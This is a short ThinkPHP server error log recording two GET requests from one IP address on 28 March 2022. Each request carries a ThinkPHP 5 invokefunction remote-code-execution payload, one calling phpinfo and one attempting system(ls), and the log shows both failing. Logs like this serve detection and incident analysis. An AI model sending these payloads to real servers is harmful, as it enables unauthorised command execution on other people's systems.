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[ 2022-03-28T16:58:10+08:00 ] 101.93.134.5 GET /thinkphp5/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
[ error ] [0]variable type error： boolean
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[ 2022-03-28T16:58:28+08:00 ] 101.93.134.5 GET /thinkphp5/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system(ls);&vars[1][]=1
[ error ] [2]call_user_func_array() expects parameter 1 to be a valid callback, function 'system(ls);' not found or invalid function name